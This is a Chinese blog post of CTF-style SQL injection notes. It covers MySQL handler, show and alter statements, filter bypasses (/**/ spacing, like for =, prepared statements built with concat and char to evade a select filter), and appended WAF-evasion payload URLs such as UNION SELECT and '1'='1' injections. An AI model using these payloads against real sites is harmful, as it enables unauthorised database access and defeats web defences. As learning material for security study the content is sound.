SQL注入相关语句及绕过

本文详细讲解了SQL注入中的show、rename、alter操作绕过handler的方法,包括利用空格、like和半个flag进行绕过,以及预处理命令的利用和参数传递。重点介绍了如何通过concat拼接绕过select过滤,揭示了攻防实战中的关键技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

handler语句

handler table_name open:打开一个表的会话
handler table_name read first:读取第一行数据
handler table_name read next:读取第二行数据
handler table_name close:关闭会话

show和rename

show语句

show databases 显示当前数据库名称
show tables 显示当前数据库中所有的表名称
show columns from table_name 显示指定表中的数据类型信息

rename语句

rename table table1 to table2 将table1的名称改为table2

alter语句

alter table table_name add column_name datatype 在指定的表中添加指定的列
alert table table_name change column_name data datatype 指定的表中修改指定的列
default:DEFAULT 约束用于向列中插入默认值。
如果没有规定其他的值,那么会将默认值添加到所有的新记录。

过滤空格

空格被过滤用/**/来绕过;
还可以使用括号来绕过() select(database())空格处要有)或(其中一个
例如(select(group_concat(password))from(H4rDsq1))

过滤=

等号=被过滤可以用like来绕过

flag只有一半

flag只被显示出一半
select left(name,25) from table_name
select right(name,25) from table_name
最后得到的结果记得把重叠的部分删除

预处理命令绕过

预处理命令绕过在一次堆叠注入时见过强网杯 2019 随便注。大神的writeupBUUCTF 随便注 WP。本题过滤了select所以可以利用concat拼接字符串然后用预处理命令来绕过。
预处理命令

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

预处理命令参数变量来传递

set @sql=concat(char(115,101,108,101,99,116)," * from \`1919810931114514\`")
PREPARE sqlb from @sql  //定义预处理命令
EXECUTE sqlb  //执行预处理命令
(DEALLOCATE || DROP) PREPARE sqlb; // 删除预处理命令
### 手工SQL注入绕过安全措施的常用技巧 #### 使用特殊字符和编码混淆WAF检测 某些Web应用防火墙(WAF)可能无法正确解析特定模式下的输入,从而允许恶意查询通过。例如,在MySQL环境中,`%20union%20a11%23%0a%20select%201,2,3%23`这样的URL编码可以用来规避基本的过滤机制[^1]。 ```sql http://example.com/vuln.php?id=1 UNION ALL SELECT NULL,NULL,'<script>alert(1)</script>' -- ``` 此代码片段展示了如何利用UNION操作符来附加额外的选择语句,并且使用注释符号(`--`)结束原始查询以确保后续部分不会引起语法错误。 #### 利用路径中的关键词触发白名单规则 当目标站点配置有基于URL路径的安全策略时,攻击者可以通过构造特殊的请求地址使这些防护失效。比如向URI中加入像`/admin/`, `/manage/`之类的子串可能会让WAF认为这是合法访问而放行[^2]: ```plaintext http://targetsite/path/to/script?param=value&fakepath=admin/ ``` 上述链接里的`fakepath=admin/`参数并没有实际作用于应用程序逻辑处理过程之中;相反地,它是为了迎合WAF内部预设条件所设计出来的欺骗手段之一。 #### 替代关键字实现相同功能 为了避免被简单的字符串匹配型防御工具拦截,还可以尝试替换标准SQL命令的关键字形式。例如将`SELECT`变为`SeLeCt`或采用其他大小写组合方式书写,甚至借助数据库特有的函数特性达到目的。 ```sql http://vulnerable-site/search?q=test'/**/or/**/'1'%3d'1 ``` 这里采用了多层嵌套注释的方式(即`/**/`),使得一些较为基础版本的WAF难以有效识别并阻止该类型的注入行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值